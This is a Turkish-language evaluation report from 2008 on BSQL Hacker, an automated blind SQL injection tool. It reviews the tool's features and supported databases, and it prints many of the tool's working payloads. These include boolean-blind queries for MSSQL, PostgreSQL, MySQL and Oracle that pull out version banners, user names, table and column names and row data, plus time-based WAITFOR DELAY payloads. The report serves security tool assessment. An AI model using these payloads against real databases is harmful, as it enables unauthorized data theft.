Lisans
GPL
Versiyon
0.85 ( Still Beta)
Yazar && İletişim Bilgileri
Ferruh Mavituna, ferruh AT mavituna.com
Dil
VB.NET
Önkoşullar
.NET Framework 3.5 (.NET 2.0 ile de çalışıyor olabilir)
URL
http://ferruh.mavituna.com/opensource/BSQLHacker_v09_Source.zip
Test Ortamı
win2k3 sp1 vmware image with Python 2.5
MSSQL 2005 EE, Oracle 10g EE, DB2 EC v 9.5, PostGreSQL 8.2, MySQL Community 5.0.45
Kurulum Püf Noktaları (Hatalar/Çözümler/Öneriler)
Programın beta olması dolayısıyla bazı hatalar mevcut.
Rapor İsmi
BSQL Hacker Otomatize SQL Enjektörü Analizi
Rapor Yazarı
Mesut Timur, mesut at h-labs dot org,
www.h-labs.org
Rapor Tarihi
28 Şubat 2008
Komut Satırı/Grafiksel Arayüz
İkisi de mevcut.
Başlat/Durdur/Devam Et Özellikleri
Başlat ve Durdur opsiyonları var.
Dokümantasyon
Programla birlikte, nasıl kullanılacağı ve sömürme
sürecini anlatan güzel pdf'ler geliyor.
Veritabanı İsimleri
Evet
Tablo İsimleri
Evet
Sutün İsimleri
Evet
Tablo Satırları
Evet
BSQL Hacker, verilen enjekte edilecek SQL sorgusunu kullanarak doğru ve yanlış sayfaları tespit etmeye çalışır. Tespit edebilirse, enjeksiyon test edilmiş demektir.
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT users from test)AS varchar(8000)),1,1)),0)>0--
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT users from test)AS varchar(8000)),1,1)),0)<255--
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT users from test)AS varchar(8000)),1,1)),0)>255--
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT users from test)AS varchar(8000)),1,1)),0)=1
Çalıştırılan Toplam Sorgu Sayısı
DBMS Banner Almak
Kör
Mssql
: 1632
PostgreSQL : 771
MySQL : 186
Oracle : 544
Derin - Kör
Kullanıcı İsmi Almak
Kör
Mssql: 87
Oracle : 33
Derin - Kör
Kimlik Doğrulama Tipleri
Cookie
Evet
Basit Kimlik Doğrulama
Evet
Özet Kimlik Doğrulama
Evet
NTLM
Evet
Sertifika
Hayır
DBMS Desteği
Tüm DBMS'leri desteklemektedir ; aşağıda kalın punto ile yazılmış olan DBMS'ler için çalıştığı test edilmiştir..
MSSQL
MySQL
PostgreSQL
ORACLE
Gerçeklenen Enjeksiyon Tipleri
Kör
Doğru/Yanlış
Evet
Zaman Tabanlı
Evet
, zaman Detection>Time Based tabından ayarlanabilir.
Deep Blind Based
Hata Tabanlı
Evet , hata
tampon boyutu Detection > Error Based tabından ayarlanabilir..
Union
Yok
Tek Kayıt Union
Yok
Bant Dışı Kanal
Yok
Anonimlik
User-Agent
Programda
User-Agent'i manipüle etmek gibi bir opsiyon olmasa da eklenebilecek spesifik
HTTP Header'lar ile bu bilgi alanı değiştirilebilir.
Referrer
Programda Referer'i manipüle etmek gibi bir opsiyon olmasa da eklenebilecek spesifik HTTP Header'lar ile bu bilgi alanı değiştirilebilir.
Proxy
Evet;
Settings > Proxy üzerinden aktif hale getirilebilir.
Veritabanı Döküm Granüleritesi
İndirmek istediğiniz veri tabanları, tabloları ya da sütunları seçemiyorsunuz fakat sayılarını belirtebilirsiniz.(tablo/sütun/kayıt)
Diğer
302 Yönlendirme Yönetimi
Evet
Atlatma (Evasion) Özellikleri
Yok
Özel Yapım SQL Sorgu Desteği
Evet, spesifik betiklere ya
da zayıflıklara özel SQL atak sorguları yazabilirsiniz. Hatta programın
içerisinde Magic Variables sayesinde bu iş çok daha verimli hale
getirilebilir.
Paralel İstekler
Evet. Program arayüzünden
paralel çalışacak thread sayısı ayarlanabilir.
Enjeksiyon Noktaları
GET
Evet
POST
Evet
COOKIE
Evet
HTTP Başlıkları
Evet
Otomatik Yazılım Yenileme
Evet (test edilemedi)
İstek/Cevap Kayıtları
Sol tarafta bir "Request History" bölümü var ve buradan
yapılmış olan HTTP istekleri, cevapları, HTTP paket detaylarını
görebilirsiniz.
Programa Özel Kayıt Tutma
Yok
Basit SQL Enjeksiyonu Testi (Tek URL ve Parametreler)
Evet
Basit SQL Enjeksiyonu Tarama (Crawling Yolu İle)
Yok
DBMS Banner
Alma
MSSQL Server 2005
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT @@version)AS varchar(10)),1,1)),0) {OPERATION}{CHAR}
PostgreSQL
AND COALESCE(ASCII(SUBSTR(VERSION(),{POSITION},1)),0) {OPERATION}{CHAR}
MySQL
AND 1=(SELECT IF((IFNULL(ASCII(SUBSTRING((SELECT @@version),{POSITION},1)),0){OPERATION}{CHAR}),1,2))/*
ORACLE
AND NVL(ASCII(SUBSTR((select banner from v$version where banner like 'Oracle%'),{POSITION},1)),0){OPERATION}{CHAR}--
Kullanıcı İsmi Alma
MSSQL Server 2005
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT user)AS varchar(10)),1,1),0)>search_value--
PostgreSQL
AND COALESCE(ASCII(SUBSTR(CURRENT_USER,{POSITION},1)),0) {OPERATION}{CHAR}
MySQL
AND 1=(SELECT IF((IFNULL(ASCII(SUBSTRING((SELECT CURRENT_USER),{POSITION},1)),0){OPERATION}{CHAR}),1,2))/*
ORACLE
AND NVL(ASCII(SUBSTR((SELECT user FROM dual),{POSITION},1)),0){OPERATION}{CHAR}--
Veritabanı İsimlerini Alma
MSSQL Server 2005
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT db_name(0))AS varchar(10)),1,1)),0)>search_value--
Tablo İsimlerini Alma
MSSQL Server 2005
ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 Lower([name]) FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 Lower([name]) FROM sysObjects WHERE xtYpe=0x55))AS varchar(10)),1,1)),0)>search_value--
ORACLE
AND NVL(ASCII(SUBSTR((SELECT table_name FROM (SELECT ROWNUM R, table_name FROM all_tables WHERE TABLESPACE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))) WHERE R=1),{POSITION},1)),0){OPERATION}{CHAR}--
(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))) : 'USERS'
Sutün İsimlerini Alma
ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name=char(0x4F)+char(0x72)+char(0x64)+char(0x65)+char(0x72)+char(0x73)) AND name NOT IN(SELECT TOP 13 name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name=char(0x4F)+char(0x72)+char(0x64)+char(0x65)+char(0x72)+char(0x73))))AS varchar(10)),1,1)),0)>search_value--
Name = Table Name = char(0x4F)+char(0x72)+char(0x64)+char(0x65)+char(0x72)+char(0x73) -- > 'Orders'
ORACLE
Satırları AlmaAND NVL(ASCII(SUBSTR((SELECT column_name FROM (SELECT ROWNUM R, column_name FROM all_tab_columns WHERE table_name=(CHR(65)||CHR(67)||CHR(84)||CHR(79)||CHR(82))) WHERE R=1),{POSITION},1)),0){OPERATION}{CHAR}--
(CHR(65)||CHR(67)||CHR(84)||CHR(79)||CHR(82))) : 'ACTOR'
AND ISNULL(ASCII(SUBSTRING(CAST((Select P.last_name from (SELECT (SELECT COUNT(T.actor_id) FROM [actor] T WHERE T.actor_id<=O.actor_id) AS x,[last_name] from [actor] O) as P where P.x=1)AS varchar(8000)),{POSITION},1)),0){OPERATION}{CHAR}-
AND NVL(ASCII(SUBSTR((SELECT LAST_NAME FROM (SELECT ROWNUM R, LAST_NAME FROM ACTOR ) WHERE R=3),{POSITION},1)),0){OPERATION}{CHAR}--Derin Kör
DECLARE @x as int; DECLARE @w as char(6);SET @x=ASCII(SUBSTRING(master.dbo.fn_varbintohexstr(CAST((SELECT @@version) as varbinary(8000))),{POSITION}+2,1));IF @x>97 SET @x=@x-87 ELSE SET @x=@x-48;SET @w=CHAR(48)+CHAR(58)+CHAR(48)+CHAR(58)+CAST(@x*{SECONDS} as char);WAITFOR DELAY @w
DECLARE @x as int; DECLARE @w as char(6);SET @x=ASCII(SUBSTRING(master.dbo.fn_varbintohexstr(CAST((SELECT USER) as varbinary(8000))),{POSITION}+2,1));IF @x>97 SET @x=@x-87 ELSE SET @x=@x-48;SET @w=CHAR(48)+CHAR(58)+CHAR(48)+CHAR(58)+CAST(@x*{SECONDS} as char);WAITFOR DELAY @w
!"#$'()*+,-./0123456789;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]_abcdefghijklmnopqrstuvwxyz{|}
O log(n)=> log(126-32) = log(94) = ~ 7
for(int i=32;i<126;i++)gibi bir kodla, bu ortalama sayıyı bulabiliriz. Bu kodu çalıştırdık ve çıkan sonuç :
{
sum+=BinarySearch(array,i);
}
printf("%d",sum/(126-32)));
7